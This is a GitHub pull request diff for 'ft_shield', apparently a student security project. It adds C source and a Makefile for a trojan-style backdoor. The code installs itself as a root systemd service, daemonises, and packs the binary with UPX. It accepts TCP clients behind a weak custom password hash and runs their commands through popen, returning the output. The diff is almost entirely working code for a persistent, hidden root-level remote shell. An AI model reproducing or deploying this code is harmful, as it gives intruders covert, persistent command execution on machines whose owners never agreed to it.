Skip to content

Yismaili #2

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 2 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
33 changes: 21 additions & 12 deletions Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -3,30 +3,39 @@ FLAGS = -g -Wall -Werror -Wextra
RM = rm -rf

FILES = src/shell.c src/auth.c src/tcp_server.c src/daemon.c
MAIN_FILE = src/main.c src/daemon.c
BONUS_FILES = bonus/shell.c bonus/auth.c bonus/tcp_server.c bonus/daemon.c
OBJ_FILES = $(FILES:.c=.o)
MAIN_OBJ_FILE = $(MAIN_FILE:.c=.o)
BONUS_OBJ_FILE = $(BONUS_FILES:.c=.o)

MSG = Everything is fcleaned!

HEADER = ./src/tcp_server.h
NAME = ./src/ft_shield
MAIN_NAME = shield
HEADER_BONUS = ./bonus/tcp_server.h
NAME = ft_shield

# UPX packing
UPX = upx
UPX_FLAGS = --best --lzma

all: $(NAME)

$(NAME): $(OBJ_FILES)
$(CC) $(OBJ_FILES) $(FLAGS) -o $(NAME)

all: $(NAME) $(MAIN_OBJ_FILE)
bonus: $(BONUS_OBJ_FILE)
$(CC) $(BONUS_OBJ_FILE) $(FLAGS) -o $(NAME)
$(UPX) $(UPX_FLAGS) $(NAME)

$(NAME): $(OBJ_FILES) $(MAIN_OBJ_FILE)
$(CC) $(OBJ_FILES) $(FLAGS) -o $(NAME) && $(CC) $(MAIN_OBJ_FILE) $(FLAGS) -o $(MAIN_NAME)

%.o: %.c $(HEADER)
%.o: %.c $(HEADER) $(HEADER_BONUS)
$(CC) $(FLAGS) -c $< -o $@

clean:
$(RM) $(OBJ_FILES) $(MAIN_OBJ_FILE)
$(RM) $(OBJ_FILES) $(BONUS_OBJ_FILE)

fclean: clean
$(RM) $(NAME) $(MAIN_NAME)
$(RM) $(NAME)
@echo $(MSG)

re: fclean all

.PHONY: clean fclean re
.PHONY: clean fclean re bonus
45 changes: 45 additions & 0 deletions bonus/auth.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
#include "tcp_server.h"

void hash(const char *password, char *hash) {
unsigned int hash_value;
size_t i;

i = 0;
hash_value = i;
while(i < strlen(password))
{
hash_value = (hash_value * SECRET_KEY) + (unsigned char)password[i];
i++;
}
snprintf(hash, BUFFER_SIZE, "%08x", hash_value);
}

int authenticate_client(int client_socket) {
char buffer[BUFFER_SIZE];
char hashed_password[BUFFER_SIZE];
int valread;

send(client_socket, "Please enter password: ", 23, 0);
valread = read(client_socket, buffer, BUFFER_SIZE);

if (valread <= 0) {
send(client_socket, "Failed to read password. Disconnecting...\n", 42, 0);
return 0;
}

buffer[valread] = '\0';

if (buffer[valread - 1] == '\n') {
buffer[valread - 1] = '\0';
}

hash(buffer, hashed_password);

if (strcmp(hashed_password, AUTH_PASSWORD_HASH) == 0) {
send(client_socket, "Authentication successful\n", 26, 0);
return 1;
} else {
return 0;
}
}

127 changes: 127 additions & 0 deletions bonus/daemon.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,127 @@
#include "tcp_server.h"
#include <signal.h>
#include <sys/stat.h>
#include <syslog.h>

void copy_binary_file(const char *sourcePath, const char *destinationPath) {
int sourceFd;
int destinationFd;
unsigned char buffer[BUFFER_SIZE];
ssize_t bytesRead;

sourceFd = open(sourcePath, O_RDONLY);
if (sourceFd < 0) {
perror("Error opening source file");
exit(EXIT_FAILURE);
}

destinationFd = open(destinationPath, O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR | S_IXUSR | S_IRGRP | S_IROTH);
if (destinationFd < 0) {
perror("Error opening destination file");
close(sourceFd);
exit(EXIT_FAILURE);
}

while ((bytesRead = read(sourceFd, buffer, sizeof(buffer))) > 0) {
if (write(destinationFd, buffer, bytesRead) != bytesRead) {
perror("Error writing to destination file");
close(sourceFd);
close(destinationFd);
exit(EXIT_FAILURE);
}
}

if (bytesRead < 0) {
perror("Error reading from source file");
}
close(sourceFd);
close(destinationFd);
}

void create_systemd_service(const char* service_name, const char* binary_path)
{
char service_file_path[256];
FILE* file;

snprintf(service_file_path, sizeof(service_file_path), "/etc/systemd/system/%s", service_name);

file = fopen(service_file_path, "w");
if (file == NULL) {
perror("Failed to open service file");
exit(EXIT_FAILURE);
}

fprintf(file, "[Unit]\n");
fprintf(file, "Description=%s\n", service_name);
fprintf(file, "After=network.target\n\n");

fprintf(file, "[Service]\n");
fprintf(file, "ExecStart=%s\n", binary_path);
fprintf(file, "ExecStop=/bin/kill -s TERM $MAINPID\n");
fprintf(file, "Restart=on-failure\n");
fprintf(file, "User=root\n\n");

fprintf(file, "[Install]\n");
fprintf(file, "WantedBy=multi-user.target\n");

fclose(file);

printf("Service file created: %s\n", service_file_path);
}


void enable_and_start_service(const char* service_name)
{
char command[256];

snprintf(command, sizeof(command), "systemctl daemon-reload");
if (system(command) != 0) {
perror("Failed to reload systemd daemon");
exit(EXIT_FAILURE);
}

snprintf(command, sizeof(command), "systemctl enable %s", service_name);
if (system(command) != 0) {
perror("Failed to enable systemd service");
exit(EXIT_FAILURE);
}

snprintf(command, sizeof(command), "systemctl start %s", service_name);
if (system(command) != 0) {
perror("Failed to start systemd service");
exit(EXIT_FAILURE);
}

printf("Service enabled and started: %s\n", service_name);
}

void create_daemon()
{
pid_t pid, sid;

pid = fork();
if (pid < 0) {
exit(EXIT_FAILURE);
}
if (pid > 0) {
exit(EXIT_SUCCESS);
}

umask(0);

sid = setsid();
if (sid < 0) {
exit(EXIT_FAILURE);
}

if ((chdir("/")) < 0) {
exit(EXIT_FAILURE);
}

close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);

openlog("ft_shield", LOG_PID, LOG_DAEMON);
}

Binary file added bonus/ft_shield
Binary file not shown.
47 changes: 47 additions & 0 deletions bonus/shell.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
#include "tcp_server.h"

void log_user_action(const char *command) {
FILE *log_file = fopen(LOGS, "a");
if (log_file == NULL) {
perror("Error opening log file");
return;
}

time_t now = time(NULL);
struct tm *t = localtime(&now);

char time_str[20];
strftime(time_str, sizeof(time_str), "%Y-%m-%d %H:%M:%S", t);

fprintf(log_file, "[%s] %s\n", time_str, command);

fclose(log_file);
}


void execute_command(const char* command, int client_socket)
{
char buffer[BUFFER_SIZE];
FILE* fp;
int status;
log_user_action(command);
fp = popen(command, "r");
if (fp == NULL)
{
send(client_socket, "Error executing command\n", 25, 0);
return;
}

while (fgets(buffer, sizeof(buffer), fp))
{
send(client_socket, buffer, strlen(buffer), 0);
}

status = pclose(fp);
if (status != 0)
{
char error_message[BUFFER_SIZE];
snprintf(error_message, sizeof(error_message), "sh: %s: command not found\n", command);
send(client_socket, error_message, strlen(error_message), 0);
}
}
Loading